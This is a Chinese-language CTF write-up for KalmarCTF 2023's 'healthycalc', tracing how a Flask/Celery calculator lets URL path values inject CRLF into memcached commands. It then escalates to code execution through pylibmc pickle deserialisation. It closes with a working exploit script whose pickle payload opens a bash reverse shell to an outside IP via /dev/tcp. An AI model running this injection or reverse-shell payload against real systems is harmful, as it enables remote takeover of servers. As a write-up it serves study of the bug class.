March 7, 2023

从Pymemcached的CRLF到RCE

1、事情的起因

在和V&N的师傅打KalmarCTF2023时,碰到了一题叫做healthycalc的题目,这一题当时好像是没有任何思路的,因为整个程序就是一个计算器,但是后面在调试过程中发现了Pymemcache是怎么处理指令的运行和获取的

2、审计源码

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import asyncio, os
from random import choice, randint

from celery import Celery
from flask import Flask, Blueprint, jsonify


OPERATION_SYMBOLS = {"add": "+", "sub": "-", "mult": "*"}
OPERATIONS = {
"add": lambda lhs, rhs: cache_lookup(_add, lhs, rhs),
"sub": lambda lhs, rhs: cache_lookup(_sub, lhs, rhs),
"mult": lambda lhs, rhs: cache_lookup(_mult, lhs, rhs),
# ...
}

application = Flask(__name__)
bp = Blueprint("routes", __name__)
celery = Celery(__name__)


@bp.route("/")
def index():
op = choice(list(OPERATIONS.keys()))
op_sym = OPERATION_SYMBOLS[op]
a, b = randint(0, 9999), randint(0, 9999)
return f'Hello! Want to know the result of <a href="/calc/{op}/{a}/{b}">{a} {op_sym} {b}</a>?<br/>Might take a second or two to calculate first time!'


@bp.route("/calc/<operation>/<lhs>/<rhs>")
async def calc(operation: str, lhs: int, rhs: int):
if operation not in OPERATIONS:
return jsonify({"err": f"Unknown operation: {operation}"})

f = OPERATIONS[operation]
try:
return jsonify({"ans": await f(lhs, rhs)})
except Exception as ex:
return str(ex)


def gp(n) -> int:
""" guess precision """
if str(n).endswith(".0"):
return int(n)
else:
return float(n)


async def cache_lookup(operation, lhs: int, rhs: int) -> int:
k = f"{operation.name}_{lhs}_{rhs}"
try:
return gp(celery.backend.get(k))
except:
pass # skip cache miss

ans = gp(await operation(lhs, rhs))
celery.backend.set(k, ans)
return ans


@celery.task()
async def _add(x: int, y: int) -> int:
return gp(x) + gp(y)


@celery.task()
async def _sub(x: int, y: int) -> int:
return gp(x) - gp(y)


@celery.task()
async def _mult(x: int, y: int) -> int:
return gp(x) * gp(y)


def configure_app(application, **kwargs):
application.secret_key = os.urandom(16)
application.config["result_backend"] = "cache+memcached://192.168.64.128:11211/"

if kwargs.get("celery"):
init_celery(kwargs.get("celery"), application)

application.register_blueprint(bp)


def init_celery(celery, app):
celery.conf.update(app.config)
TaskBase = celery.Task

class ContextTask(TaskBase):
async def __call__(self, *args, **kwargs):
# pretend to do heavy work
await asyncio.sleep(1)
with app.app_context():
return await TaskBase.__call__(self, *args, **kwargs)

celery.Task = ContextTask


configure_app(application, celery=celery)

if __name__ == '__main__':
application.run(host='0.0.0.0', port=5000, threaded=True)

程序的代码并不是很多,因此要看起来还是挺容易的,单纯看题目源码你是啥也不会发现的,因为就是一个很正常的运算,唯一有点可疑的估计也就是cache_lookup对缓存的处理了,也就是这里存在着漏洞隐患,这一点是TEL师傅指出的,我则是沿着这里往下深挖。
先看题目吧,就是一个计算器
image.png
image.png
是通过路由变量进行获取的,然后将其进行一些运算,审计源码可以得知,计算的过程大概分为两步,首先判断是不是第一次进行运算,如果是第一次则存入memcache缓存当中,之后再取出相同的数据时,直接从缓存中拿去,实际上就是redis做的事情,但是这里用的是memcache
image.png
在set和get处下2个断点,跟踪调试分析一波:
image.png
首先进入的是get方法,跟进去看看:
image.png
这里的key是由一系列名称拼接起来的,k = f"{operation.name}_{lhs}_{rhs}"
image.png
随后是获取self.client,跟进看看是怎么处理的:
image.png
然后是拿到了client对象,随后直接在最后return返回:
image.png
退出该方法,回到刚刚的父类调用
image.png
上面是先拿到了client,然后再调用get方法,这下跟进get方法:
image.png
调用了self.get传入的参数是get,也就是让memcache运行get指令,这是最后一个get方法,接下里是主要逻辑:
image.png
首先对key进行一次encode,这里的encode实际上就是utf-8编码一下:
image.png
然后获取server,然后根据一开始给的cmd=get,它会拼接一段完整的命令给memcache运行:
image.png
这里完整的命令就是b'get __main__._mult_1270_960',也就是获取key对应的value,然后send_cmd执行该命令,到这里就是get命令执行的点
剩下的还有对应的set方法,流程也是一样的,这里直接跳到上面说的获取fullcmd的步骤看看运行了什么指令:
image.png
也是先调用client的set:image.png
然后运行memcache的set指令:
image.png
fullcmd为b'set __main__._mult_1270_333 2 86400 6 \r\n422910',也就是在memcache服务器运行了该指令,那么对于该部分我们已经清楚了流程,如果我们可以控制运行指令,是不是就会有更多的思路了?

3、Memcached CRLF注入

有关memcached的指令在网上找一找就好了,和redis其实很像,以KV对的形式存储的

set key flags exptime length value

get key1 key2 key3
我们现在要说的是CRLF注入
所谓CRLF注入在SSRF的时候也很常见,其实算是请求走私的一种方法,而对于Memcached也存在这种风险,仔细观察上面的2个fullcmd:
'get __main__._mult_1270_960'
'set __main__._mult_1270_333 2 86400 6 \r\n422910'
单看get指令可能看不出什么,可以看到set指令时有个回车符隔开,末尾的也就是运算结果V,memcached协议是以回车符进行分割的,可以参考这一篇文章:
我们可以用\r\n来分割指令,达到运行多条指令的效果,最终也就等于memcached指令可控,如:
[http://localhost:5000/calc/add/595/2628%0d%0aset](http://localhost:5000/calc/add/595/2628%0d%0aset) uwsgi_file__app_chall._add_1_1 0 3600 3%0d%0a222
这样我们可以覆盖1+1的值为222了
image.png
走私成功
这里关于uwsgi_file__app_chall有点讲究,这里对应源代码中的f"{operation.name}",也就是函数的__name__,我们需要观察dockerfile:
ENTRYPOINT ["uwsgi" "--http-socket" ":5000" "--master" "--processes" "8" "--threads" "4" "--uid" "kalmar" "--gid" "kalmar" "--wsgi-file" "/app/chall.py"]
他是用uwsgi运行的flask项目,因此主程序不会是__main__在这一点也是卡了我很久,因为这个名字不对,因此导致我覆盖值不成功XD
现在我们访问一下/calc/add/1/1看看值为多少:
image.png
成功覆盖为222,说明CRLF注入是成功的,那么现在思路又拓宽了,也就是我们可以执行memcached服务器上任意指令,那么能不能进行RCE呢?

4、Pymemcached RCE探究

我们都知道在进行存储和取出数据时,一般都会进行序列化和反序列化操作,pymemcached也不例外,查阅资料可以看到:
https://sendapatch.se/projects/pylibmc/reference.html
pymemcached需要依赖pylibmc库,而pylibmc库中就引入了pickle这个概念,pylibmc库是辅助缓存进行存储的:
image.png
在这里指出,在特定条件下会进行pickle序列化和反序列化,那么到这里思路就清晰了许多,也就是该怎么去触发pickle反序列化的问题了,想要触发就得看懂条件,那么这里就涉及到memcached指令中关于flag的解释了:
https://blog.csdn.net/xyz_dream/article/details/90453222
flag这个参数在memcached中实际上起到一个标记作用,就是标记你存入的值到底是什么类型,然后依据flag的值不同,进行不同种类的序列化和反序列化,那么啥时候才可以触发pickle呢?我们可以去查阅pylibmc的源码:
https://github.com/lericson/pylibmc/blob/master/src/_pylibmcmodule.h#L75
image.png
在这里可以清楚的看见,当flag为1时进行pickle相关操作,因此flag的值写死为1,其他的无所谓,然后是在啥时候进行pickle反序列化的呢?
在Discord中有一位大牛为我指出了调用栈:
image.png
image.png
可以看到在进行get方法去除时,会对存入的数据进行pickle反序列化,因此得以RCE

5、EXP的编写

这一点算是留给我的一个作业,因为目前网上并没有啥公布的Exp,因此打算自己试试,思路确定完就是写个py脚本,回顾侧重点,flag的值,payload的length,opcode编写
最后写出来的东西也是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#Author:Boogipop
import base64
import requests
from urllib.parse import quote
def generate_cmd(ip,port):
cmd=f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} <&1'"
cmd=bytes(cmd.encode("UTF-8"))
return str(base64.b64encode(cmd),"UTF-8")
cmd=generate_cmd("114.116.119.253","7777")
opcode=f"cposix\nsystem\np1\n(S'echo {cmd} |base64 -d|bash -i'\np2\ntRp3\n."
payload=quote(f"\r\nset uwsgi_file__app_chall._add_1_1 1 3600 {len(opcode)}\r\n{opcode}\r\n")
print(payload)
url="http://localhost:5000/calc/add/233/233"
r1=requests.get(url+payload)
url2="http://localhost:5000/calc/add/1/1"
r2=requests.get(url2)

解释一下payload,第一个payload将恶意opcode存入,第二个是去除该数据时触发pickle反序列化,因此getshell:
image.png
至此算是基本结束了

6、其他的设想

Pymemcached会有这样的RCE漏洞,那么其他语言操作memcached服务器呢?首先CRLF注入肯定都会有的,但是RCE由于pypickle比较特殊,因此算特例,但是不代表别的就一定安全,既然有序列化和反序列化,那么就一定有安全隐患,因此这是留给我们自行去探索的,这里也可以拿来出题,会是一个不错的题目哟

注意事项和最后想说的话

首先说一下环境吧

上面的调试有时候并不是一个程序,假如需要在Pycharm调试的话,请确保以下几点:

另外强烈推荐使用windows Docker进行分析
image.png
在win10 docker中外部的访问和内部执行的命令都会一五一十的记录在内,可以更加直观的去分析,这一点我表示VeryNice

那么就是最后想说的话了:
这一题写的时候是真的很开心,由一个正常的程序,根据调试发现了原理,再进行猜想与假设,然后去实践构造,最后RCE,是一个很令人兴奋的过程。这题是由3个师傅(包括我)一起解出的,也是感受到了战队里其他师傅的实力有多么强劲,希望自己这个菜鸡在后面不会拖后腿QWQ

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#Python